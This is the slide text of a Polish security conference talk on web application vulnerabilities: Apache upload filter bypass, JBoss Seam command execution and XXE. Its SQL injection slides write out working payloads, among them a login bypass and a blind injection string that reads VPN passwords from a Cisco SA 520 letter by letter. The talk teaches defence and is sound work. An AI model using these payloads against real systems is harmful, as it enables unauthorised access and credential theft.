YouTube: https://www.youtube.com/watch?v=eRkD2a4vMsc&list=PLnKL6-WWWE_WNYmP_P5x2SfzJ7jeJNzfp&index=38
Speaker: Michał Sajdak
Language: Polish
W trakcie prelekcji zaprezentowane zostaną ciekawe podatności w aplikacjach webowych - w tym kilka nieoczywistych metod uzyskiwania shella na systemie operacyjnym czy podatność XXE. Każdy omawiany problem, po krótkim wstępie teoretycznym, prezentowany jest na żywo.
4Developers: http://4developers.org.pl/pl/
2. O Prelegencie
Michał Sajdak <at> securitum.pl
Testy bezpieczeństwa aplikacji
Szkolenia z security
- również dla testerów programistów
http://securitum.pl/
2
Copyright 2014 Securitum
www.securitum.pl
3. Agenda
OS Command EXEC
1. Cisco RVS 4000
2. Jak omijać filtry w uploadzie?
3. Biblioteka JBoss Seam
4. Cisco Security Appliance (jeśli będzie czas)
OS Command EXEC + SQLi
5. XXE (XML eXternal Entities)
Info tylko w celach edukacyjnych! 3
Copyright 2014 Securitum
www.securitum.pl
6. Upload / Apache – omijanie filtrów
Formularze zazwyczaj blokują upload plików
wykonywalnych (np. php)
Edytory wizualne
Uploady CV
Etc.
Ale często stosują… blacklisting
Czyli uniemożliwiają upload plików z
rozszerzeniem .php / .aspx / itd
6
Copyright 2014 Securitum
www.securitum.pl
7. Upload / Apache – omijanie filtrów
Zagadka
W jaki sposób Apache HTTP server zinterpretuje
plik:
siekiera.jpg.php.wnk2j3.tralalala.sekurak
Jako txt ?
Jako PHP ?
Jako jpg ?
7
Copyright 2014 Securitum
www.securitum.pl
9. OS Command Exec – JBoss Seam
Dość stara podatność
Ale będąca przykładem ogólniejszego trendu:
Używamy biblioteki X, która w momencie uruchomienia
systemu jest bezpieczna
Mija Y czasu… i w bibliotece znane są krytyczne
podatności
Info: Meder Kydyraliev, Seam Vulnerability,
http://blog.o0o.nu/
9
Copyright 2014 Securitum
www.securitum.pl
10. OS Command Exec – JBoss Seam
Dość stara podatność
Można w sposób nieuwierzytelniony wywołać
instancje klas… i dalej wołać metody
W szczególności Runtime.exec(„calc.exe”)
10
Copyright 2014 Securitum
www.securitum.pl
11. OS Command Exec – JBoss Seam
Na docelowych systemach możemy mieć
różne wersje javy
Więc należy w danym przypadku zlokalizować
indeksy zadeklarowanych metod:
public static java.lang.Runtime
java.lang.Runtime.getRuntime()
Process java.lang.Runtime.exec(java.lang.String)
11
Copyright 2014 Securitum
www.securitum.pl
12. OS Command Exec – JBoss Seam
Jeśli znajdziemy starego JBossa prawie
gwarancja że mamy nieuwierzytelniony OS
Command Exec
Na systemach Windows – często Administrator
Podatne też inne javowe app servery
De facto jest to błąd w bibliotece nie w app serverze..
12
Copyright 2014 Securitum
www.securitum.pl
14. SQL injection
http://site.pl/news.php?id=10
SELECT * FROM news WHERE id = 10 AND
active = 1
http://site.pl/news.php?id=10%20OR%201=1%23
SELECT * FROM news WHERE id = 10 OR 1=1#
AND active = 1
14
Copyright 2015 Securitum
www.securitum.pl
15. SQL injection
http://site.pl/news.php?id=-1 UNION ALL
SELECT user,password, NULL, NULL FROM
users#
SELECT * FROM news WHERE id = -1 UNION
ALL SELECT user,password, NULL, NULL FROM
users# AND active = 1
15
Copyright 2015 Securitum
www.securitum.pl
16. SQL injection – przykład na ekranie logowania
Cisco Security Appliance (SA 520)
$SQL = „SELECT * FROM users WHERE
login = ‘$login’ AND password = ‘$password’
Kontrolujemy login i hasło
Zobaczmy co się stanie jeśli użyjemy jako login/password ciągu:
‘ or ‘1’=‘1
$SQL = „SELECT * FROM users WHERE
login = ‘’ or ‘1’=‘1’ AND password = ‘’ or ‘1’=‘1’
Copyright 2015 Securitum
www.securitum.pl
16
17. SQL injection – przykład na ekranie logowania
SA 500 Appliance
$SQL = „SELECT * FROM users WHERE
login = ‘’ or ‘1’=‘1’ AND password = ‘’ or ‘1’=‘1’
Zwraca wszystkie wiersze z tabeli
Użyjmy tego na SA500
Możemy tutaj użyć techniki blind SQL injection
Copyright 2015 Securitum
www.securitum.pl
17
18. SQL injection – przykład na ekranie logowania
SA 500
Cel – chcemy pobrać wszystkie loginy i hasła (w plaintext)
Copyright 2015 Securitum
www.securitum.pl
18
19. SQL injection – przykład na ekranie logowania
Następne kroki
Potrzebujemy znać typ bazy danych
Potrzebujemy wiedzieć w jakiej tabeli przechowywane
są dane o użytkownikach oraz:
jak nazywają się kolumny przechowujące loginy / hasła
Wszystkie te informacje mogą być uzyskane dzięki analizie whitebox
Baza: SQLLite
Nazwa tabeli: SSLVPNUsers
Kolumny: Username / Password
Copyright 2015 Securitum
www.securitum.pl
19
20. SQL injection – przykład na ekranie logowania
Pełne zapytanie pobierające użytkowników /
hasła wygląda tak:
SELECT Username, Password FROM SSLVPNUsers
Ale nie możemy tego użyć bezpośrednio
Ekran logowania nie wyświetla nic poza
komunikatami o błędach
Copyright 2015 Securitum
www.securitum.pl
20
21. SQL injection – przykład na ekranie logowania
Pobierzemy więc użytkowników hasła litera po
literze
Jak to zrobić?
Potrzebujemy trochę praktyki z SQL ;-)
Copyright 2015 Securitum
www.securitum.pl
21
22. SQL injection – przykład na ekranie logowania
SELECT Password FROM SSLVPNUser LIMIT
1 OFFSET 0
Pobiera pierwsze hasło w bazie
substr((SELECT Password FROM
SSLVPNUser LIMIT 1 OFFSET 0),1,1)
Pobiera pierwszą literę pierwszego hasła w
bazie
Copyright 2015 Securitum
www.securitum.pl
22
23. SQL injection – przykład na ekranie logowania
Nasz login będzie następujący:
‘ OR substr((SELECT Password FROM SSLVPNUser
LIMIT 1 OFFSET 0),1,1)=‘a’--
Co skutkuje następującym zapytaniem:
SELECT * FROM SSLVPNUser WHERE login = ‘‘ OR
substr((SELECT Password FROM SSLVPNUser
LIMIT 1 OFFSET 0),1,1)=‘a’--’ AND password =
‘$password’
Zwraca ono „invalid username” kiedy pierwsza litera hasła != ‘a’
Zwraca ono „inny błąd” kiedy pierwsza litera hasła = ‘a’
Copyright 2015 Securitum
www.securitum.pl
23
24. XXE (XML eXternal Entities)
Mało znany problem…ale dość istotny
W 2013 roku Reginaldo Silva
otrzymał w ramach bugbounty z Facebooka
$33 500
RCE z wykorzystaniem XXE
FB wypuścił patcha w 3.5h od zgłoszenia (!)
24
Copyright 2014 Securitum
www.securitum.pl
25. XXE (XML eXternal Entities)
Encje znany z HTML-a:
< lub <
<
"
'
&
µ
…
Ogólnie:
&nazwa_encji;
&#numer_encji;
25
Copyright 2014 Securitum
www.securitum.pl
26. Renderowanie encji w HTML
W XML-u:
działa to podobnie…
26
Copyright 2014 Securitum
www.securitum.pl
27. XXE (XML eXternal Entities)
… możemy definiować własne encje
<!ENTITY name "value">
27
Copyright 2014 Securitum
www.securitum.pl